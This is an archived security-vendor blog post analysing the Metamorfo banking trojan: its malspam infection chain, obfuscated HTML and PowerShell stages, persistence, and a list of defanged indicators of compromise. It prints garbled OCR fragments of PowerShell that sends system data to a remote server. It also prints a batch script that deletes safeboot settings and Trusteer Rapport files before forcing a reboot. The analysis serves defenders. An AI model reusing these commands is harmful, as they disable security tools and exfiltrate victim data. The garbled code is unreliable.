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Exploring the Metamorfo Banking Trojan
Published: 2024-05-16 - Archived: 2026-04-05 14:23:25 UTC

Banking Trojans have become increasingly prevalent in recent times. Today, we’ll delve into one particular
campaign. This malware, commonly known as Metamorfo, spreads through malspam campaigns, enticing users to
click on HTML attachments. Once clicked, a series of activities are initiated, all focused on gathering system
metadata. Metamorfo is notorious for its banking trojan capabilities and as such, it has gained considerable

recognition in the cybersecurity landscape.

Infection chain:
Eml -> zip -> html -> url (evasive) -> zip -> hta -> ps1 -> zip -> a3x (Encoded Script file) -> shellcode

HTML contains basic obfuscation which on de-obfuscating gives the URL which the file is trying to connect.
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on.href = glALAEREI

On de-obfuscating the HTML, we get the URL which it is trying to connect. “hxxps://shorturl[.]at/cdhHJ”

After we browse the URL, it gives the error “Sorry, you have been blocked” which gives us glimpse URL can be

geo-evasive.
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Lets try to browse the URL, in some of the locations. When we try to browse the URL in Mexico location, we see

the URL is getting browsed and downloads a zip file with some random {{name.zip}}

The zip file contains a .hta file and an .xml file.

Statically analyzing .hta file, we see some obfuscations.

dim MFZI, HPR,
iPFR. = BERT("ht

'™ m MFEI & ""><f

Browsing the above URL, it downloads a PowerShell script which is again obfuscated
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paran (
string) SComputerName = “$env:compute rnane

SwmiQuery = "SELECT * FROM AntiVirusProduct

PROCESS
{ sAntivirusProduct = Get.WmiObject -Namespace “root\SecurityCenter2* .Query SwmiQuery @psboundparameters
S sNames = SAntivirusProduct.displayName
slang = Get-Culture
slang = Slang.displayname

en) .Caption
32-Bit CPU ")}Else{ $Bits =" 64-Bit CPU "}

class Win32 OperatingSy
ECTURE -eq "x86" ){ $B;

Swinds = (Get-Wm
1f (Senv:PROCESSOR Mzc

8AbGB ) AGBADGBOAGEAY 9B SAGUAL gB j AGBAD! AZABOAHOALwBPAGAAZAB| AHQAL gBWAGOACAA=") ) ) )

iebRequest
System, Net Mebﬂfquez‘\ Create (([Text.Encoding) : :Unicode.GetString([Co
obalListStr = [Sy Encoding] : :UTF8. GetBytes(
ShrbRc.ues‘ Method = 'POST'
ShebRequest .ContentType = ‘appli -form-urlencoded
uest.ContentLength = $Global “.rswr Amqm
tream = SWebRequest.Get -\eq‘c'(Sw an
StStrean.Write(SGloballistStr, 0, SGlobalListstr.length)
tStream.Close()

t]: : FromBase64St ring (' aABOAHQACABZADOALWAVAG! lMOE]AHDAdOE AGEAYwS:
Bit

=$env:computername Swinds SAntivirusNames Slang $Bi

EF\J'{
}

coding] : :Unicode. GetString([Convert]: :FromBase64String(
[Wm Encoding] : :Unicode. GetString( [Convert] : : FromBase64St
ing([Convert|: :FromBase64String|( ‘ LgBWAG4A
ext. Encoding] : :Unicode. GetString( [Conve 645tring( ' egBpAHAA')) )
s([Text E‘tcﬂ ng| : :Unicode CE[S ring([Convert]: :FromBase64String @MOAI‘Ow;’-‘.B*ADc-L AVAGYAYQB ) AHQADQBYAGEAYWBDAGBADGE | AGBADGBBAGEAYQBSAGUALQB | AGBADOAVAGOAL GBEAGKACAA=" ) )
GetString([Convert String( V.AoAFN.\uDE AGLA:;B‘A’ A
je.GetString( \fm.er ]: : FromBases: AElAcI:«nEuLGm ))
onvert) : :FromBase64String( V-nSAFwAdDB AGLA(GEZA‘-»« ))
W)}
t .Encoding] : :Uni
‘ext.Encoding] : :Uni
[Text.Encoding] e
$([Text.Encoding]: :Unicode.GetString

GQA" ) )
ZQB4AGUA" ) ) )

. E cc,.nq ::Unico

} $([Text E’vrbd ng]: :Unic

L"'kDC& EelS('A Gw,
I\

{Text, E'(c.,r\q
|
ng (" RuBsAGBAYgBhAGHA
1ng (' RABSAGWAQWBNAGWADAA=") ) )
Convert] ase64String| ' UWBUAFTAVOBDAFOA' ) ))
v c"B!seB-\S")'g\ ‘:;SHJ\EK,«T~EPIAG,~1LBTANQ
} = $([Text Erwmu Un )(vd“ Gt St FromBase645t ring( *RABs. -um‘Jw&.-[.UAbcL
\/ 7T \ 1= S\ Ti En. 9] GetSt vert]::F Base645tring( ' IWBOAGSA E,.\GE-«BQBJ-‘«C‘"AMBJ m=" )
St {na{ [Converty s <Frombasetdstring|  SABLABAN GABAP AU ACYAAB MCE VB ZACUACHBLACDACHA tAHHAZOBOAHOASB IAGCACHBCAFHARAB AGABABCAEBACA

ng( [Convert]: :FromBase64String( SABLAE“’A\O-M-F-:AU.E AGYAAB3AGEACQB1AFwAQWBSAGEACWBZAGUACWBCAGBACwA t AHMAZ0BBAHO Aa0BUAGCACWBC AFMAGAB L AGWADABC AESACABTAGAAXAB j AGBADOB t AGEADGBRAC TATAAt AE4AYQBE AGUAT
ANL.nni ACIAIAATAFYAY(QBS, Ar'AZDAcM

e.GetString( [(cr.e t]: : FronBase64Str
er FromBase645trii "’J
Fr 9

FromBaseb45t

G4AXAB JAGBADOBt AGEADGBKAA==") )

CgB1AFwAQuBSAGE)

oding]: :Unicode. Get
ucamu:«:-‘anmcuoar gAZ
Text.Encoding) : -1
s,wcu Encoding] : Unicode GetString(
${[Text .Encoding] : :Un GetString( |(Jv
= §([Text.Encoding) etString([Convert)
${([Text .En (amn;w etString ([Convert
Text. Encodinal ::Unicode cem ing([Convert
/ 71"} = $([Text.Encoding]: :Unicode. Get

UAeAB’ AG“Aﬂ?EBA'_ﬂ )

g F BU CkA" )

VwBpAGAAZABVAHCACWBC F"ALUB 'HG‘-AUB‘ ADMAMg BCAGYADWBKAGQAZOBs AHAAZOBYACSAZOBAAGUA ) ) )
ZgBvAGOAAABLAGWACAB AHIALQB1AHGAZ ))

g( * XABC ADBnVASDAD:n!ABXA[k.\b:ah&ﬁ.\d.ﬁ (AAJ(ABTAHIL(uBEAGLAbDA:v‘nBIA!AA: 1}
romBase645tring ('MOBUACAAaQBhAA==")) )

tring([Convert): : FromBase64String

(" QwABAFWA" ) ) )

From above PowerShell script, we see mostly base64 encodings, and on decoding we can figure out the behavior

statically.
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In Fig 8.2, there is one more level of obfuscation [Highlighted] which resolves to another URL
(hxxps://fsnat[.]shop/A/08/150822/AU/AU) which is again a PowerShell script.
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PowerShell behavior in brief:

. Checking for system information, installed antiviruses, computer name, and OS versions.

. Establishes remote sever connection and sends collected system information to compromised sites

. Downloading files from remote server and executing malicious payloads.

. Script creates multiple shortcuts and batch file in different locations including AppData and StartUp folder.
. Attempts to disable or bypass security measures such as Antivirus software and disabling security services.

. Registry modifications to add new user account with admin privileges.

N O U AW N

. Shuts down system after script execution is complete and re-starting the system can cause above mentioned

batch files or shortcuts to persist the malware and execute it automatically.

Also, PowerShell connects to “hxxps://facturacioncontable[.]Jcom/m[.]zip“ and downloads a zip file which

contains multiple files.

The zip file contains Autolt executable(clean) along with .a3x script files and some batch files which are used by

above PowerShell script to gather sensitive information from compromised systems.

Here the script does registry changes, modifies safeboot, adds a batch file, and shuts down system in given time

range which leads to persistence.
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|| foitxt - Motepad - O 4

File Edit Format View Help

bcdedit /deletevalue {current} safeboot

del "¥programfiles(x86)%\Trusteer\Rapport\bin\x64\"*.d11
del "¥programfiles(x86)%\Trusteer\Rapport\bin\x64\"*. sys
del "¥programfiles(x86)%\Trusteer\Rapportibin\"*.d11

del "%programfilesi\Trusteer\Rapport\bin\x64\"*.sys
SHUTDOWN -r -f -t 180

If we closely observe Fig 9.1 and Fig 9.2, we can find out relation. In Fig 9.1, the script makes registry changes

and adds foi[.]bat. The script in Fig 9.2 is foi.txt and is batch file.

The script in Fig 9.2 does series of activities, deletes safeboot, deletes .dll and .sys files and finally shuts down
system which on re-starting leads to persistence. The PowerShell commands are utilized to drop the files at
various suspicious locations, shutdown the system, and causing persistence to steal user data such as Computer

Names, modifying system settings, user settings, keylogging and sending it to compromise systems.
Conclusion:

The Metamorfo also know as Casbaneiro is much famous banking trojan which focuses on stealing victims’
financial information including banking credentials. This malware mostly targets North and South America geo-
locations. The malware is distributed via email urges user to click on the attachment. The attachment contains

malicious codes which does series of activities and leads to data compromise.
Protection statement
Forcepoint customers are protected against this threat at the following stages of attack:

e Stage 2 (Lure) — Malicious attachments associated with these attacks are identified and blocked.
o Stage 3 (Redirect) - The redirection to the BlogSpot URL is categorized and blocked under security
classification.

o Stage 5 (Dropper File) - The dropper files are added to Forcepoint malicious database and are blocked.

IOC list:

IP addresses:

e 54.39.10[.]187

e 20.206.126[.]228
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89.116.236[.]122

158.69.110[.]217

89.117.37[.161

185.185.87[.145

172.105.111[.]154

51.38.235[.]152

192.46.216[.]151

86.38.217[.]1167

38.54.20[.]137

154.223.16[.]114

139.177.193[.174

149.100.158[.1179

20.92.164[.132

212.46.38[.143

216.238.70[.]224
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e 185.45.195[.]226

e 80.211.249[.177

e 18.184.132[.]208

Domains:

vqz8[.]gotdns[.]ch
nhoquemassa[.Jcom
09dfwss6g1v73syal.]Jonline
cevda3jvv50z1t37[.]Jonline
4yw2twoy438df9qt[.]Jonline
albumdepremios[.]com[.]br
chooseanother|[.]com
yuphsa6qwtg5[.Jonline
6c48ax07dy25hvuOhub[.]online
z5im10u90480se02prol[.]Jonline
x50zbgev4po5[.Jonline
newlife2020[.]club
k6ue95vilca2r(.]online
jkue[.]Jmyftp[.]biz
2xo0uaqv4cqds331mart[.Jonline
zfi8ny6yi30s[.]website
mpy8n37wvwu2now][.]online
1155vcram?2hl6ws0[.]Jonline
x6v19710f400g7alstar|.]online

baza[.]alta-bars[.]ru
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URLs:

hxxp://86.38.217[.]167/13/index[.]php
hxxp://86.38.217[.]167/ps1/index[.]php
hxxp://86.38.217(.]1167/1d/index[.]php
hxxp://86.38.217[.]167/vth/vth
hxxp://86.38.217[.]167/ps/index[.]php
hxxp://adbd[.]tech/26/index[.]php
hxxp://86.38.217[.]167/07/index[.]php
hxxp://86.38.217[.]167/21/index[.]php
hxxp://ad2.gotdns[.]ch/22/22
hxxp://38.54.20[.]137/29/index[.]php
hxxp://38.54.20[.]137/nv/index[.]php
hxxp://38.54.20[.]137/17/17
hxxp://a.3utilities[.]Jcom/17/
hxxp://38.54.20[.]37/04/04
hxxp://avs.myftpl[.]biz/04/
hxxp://38.54.20[.137/19/index[.]php
hxxp://38.54.20[.137/29/29
hxxp://avs.myftp[.]biz/29/
hxxp://38.54.20[.]37/08/08

hxxp://jan.viewdns|[.]net/08/

HTML hashes:

428fe9b7608cd82303e27103c3058ecd61bd58a6
bbf3387c82a600053e2fdfef6491cc20d099dd0a
5844edfe712db9ba8f50ae767089c6430cb2a3ff

7fd7c43a1237c2c4245ac987fbbac54fdad3ba06
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0a590eece111062573082c248d722c428134db66

8cc2248e33¢3e9521f97965706ce374530d97 1cb

45f8c91f0299012a8dcb40d9a2fb5ce7962b887a

PowerShell hashes:

a9e9df6762418bbed030e825099282da59278db0

€2218b08b6dd53fal15ad50b70f41d0f0a080ce6

.a3x file:

2bd4acea5c3bf107cc6615af65d1617c¢847814cc

4b5b7cf403ac7d6e3dd787104e3e6bd088743815

Source: https://www.forcepoint.com/blog/x-labs/exploring-metamorfo-banking-malware
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